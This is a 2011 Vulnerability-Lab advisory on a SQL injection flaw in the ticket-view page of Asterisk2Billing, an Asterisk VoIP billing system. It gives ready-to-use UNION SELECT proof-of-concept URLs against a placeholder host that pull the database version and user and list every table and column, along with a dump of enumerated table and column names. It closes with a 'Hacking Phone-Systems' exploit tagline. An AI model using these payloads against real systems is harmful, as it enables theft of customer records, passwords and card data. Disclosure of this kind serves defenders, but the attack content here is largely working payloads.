Document Title: =============== Asterisk2Billing v1.9.4 - SQL Injection Vulnerability Release Date: ============= 2011-08-11 Vulnerability Laboratory ID (VL-ID): ==================================== 246 Product & Service Introduction: =============================== Asterisk ist eine freie Software, die alle Funktionalitäten einer herkömmlichen Telefonanlage abdeckt. Asterisk unterstützt Voice-over-IP (VoIP) mit unterschiedlichen Protokollen und kann mittels relativ günstiger Hardware mit Anschlüssen wie POTS (analoger Telefonanschluss), ISDN-Basisanschluss (BRI) oder -Primärmultiplexanschluss (PRI, E1 oder T1) verbunden werden. Durch die umfangreiche Anzahl von unterstützten Protokollen und Schnittstellen ist Asterisk für öffentliche Telefonanbieter und Callcenter genauso geeignet wie für den Privathaushalt. Viele VoIP-Provider sind mittels Asterisk aufgebaut. Durch die Skripting-Möglichkeiten in Asterisk lässt sich die Telefonanlage nahezu beliebig konfigurieren und erweitern. The A2Billing solution comprises of the following components: - * Server: The computer to run the system. * Line Interface Cards: The Digium hardware (optional)to connect to the TDM network (PRI, BRI, Analogue) * Linux: The base operating system * Asterisk: The telephony engine * Apache: The web server * MySQL/Postgresql: The back end database * A2Billing: The Billing engine handling Authentication, Authorisation and Accounting. A2Billing is included in several stable linux distributions & is most famous phone system. (Copy of the Vendor Homepage: http://de.wikipedia.org/wiki/Asterisk_(Telefonanlage)) Abstract Advisory Information: ============================== The Vulnerability-Lab Team discovered remote SQL Injection Vulnerability on Asterisk 2 Billing Phone System. Vulnerability Disclosure Timeline: ================================== 2011-08-12: Discovery by Vulnerability-Lab Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A SQl injection vulnerability is detected on Asterisk2Billing Application. Remote Attackers can execute own sql statements & can compromise the application dbms. The vulnerability allows an attacker to read customer data, passwords, cards & numbers. Vulnerable Module(s): [+] CC_ticket_view - ID --- Request Log --- cc_agent,cc_agent_commission,cc_agent_signup,cc_agent_tariffgroup,cc_alarm,cc_alarm_report,cc_autorefill_report,cc_backup,cc_billing_cust omer,cc_call,cc_call_archive,cc_callback_spool,cc_callerid,cc_campaign,cc_campaign_config,cc_campaign_phonebook,cc_campaign_phonestatus, cc_campaignconf_cardgroup,cc_card,cc_card_archive,cc_card_group,cc_card_history,cc_card_package_offer,cc_card_seria,cc_card_subscription, cc_cardgroup_service,cc_charge,cc_config,cc_config_group,cc_configuration,cc_country,cc_currencies,cc_did,cc_did_destination,cc_did_use, cc_didgroup,cc_epayment_log,cc_epayment_log_agent,cc_iax_buddies,cc_invoice,cc_invoice_conf,cc_invoice_item,cc_invoice_payment,cc_iso639, cc_logpayment,cc_logpayment_agent,cc_logrefill,cc_logrefill_agent,cc_notification,cc_notification_admin,cc_outbound_cid_group,cc_outbound _cid_list,cc_package_group,cc_package_offer,cc_package_rate,cc_packgroup_package,cc_payment_methods,cc_payments,cc_payments_agent,cc_payments_statu s,cc_paypal,cc_phonebook,cc_phonenumber,cc_prefix,cc_prov id,datecreation,active,login,passwd,location,language,id_tariffgroup,options,credit,currency,locale,commission,vat,banner,perms,lastname, firstname,address,city,state,country,zipcode,phone,email,fax,company,secret,id,id_payment,id_card,date,amount,paid_status,description, id_agent,id,id_agent,code,id_tariffgroup,id_group,id_agent,id_tariffgroup,id,name,periode,type,maxvalue,minvalue,id_trunk,status,numberof run,numberofalarm,datecreate,datelastrun,emailreport,id,cc_alarm_id,calculatedvalue,daterun,id,daterun,totalcardperform,totalcredit,id,name,p ath,creationdate,id,id_card,date,id_invoice,start_date,id,sessionid,uniqueid,card_id,nasipaddress,starttime,stoptime,sessiontime,calledstatio n,sessionbill,id_tariffgroup,id_tariffplan,id_ratecard,id_trunk,sipiax,src,id_did,buycost,id_card_package_offer,real_sessiontime,dnid, terminatecauseid,destination,id,sessionid,uniqueid,username,nasipaddress,starttime,stoptime,sessiontime,calledstation,startdelay,stopdela y,terminatecause,usertariff,calledprovider,calledcountry,called Pictures: ../sql1.png ../sql2.png ../sql3.png Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers or local low privileged user accounts. For demonstration or reproduce ... Path: /a2b_admin/Public/ File: CC_ticket_view.php Para: ?id= PoC: http://xxx.com/a2b_admin/Public/CC_ticket_view.php?id=-1+union+all+select+database(),2,@@version,user(),5,@@version,7,8,9,10,11,12-- http://xxx.com/a2b_admin/Public/CC_ticket_view.php?id=-1+union+all+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12+from %20information_schema.tables%20where%20table_Schema=database%20()-- http://xxx.com/a2b_admin/Public/CC_ticket_view.php?id=-1+union+all+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12+from %20information_schema.columns%20where%20table_Schema=database%20()-- Exploit:
Asterisk 2 Billing v1.4.2.x [Remote SQL-Injection Exploit]
Hacking Phone-Systems 4 Electronical Freedom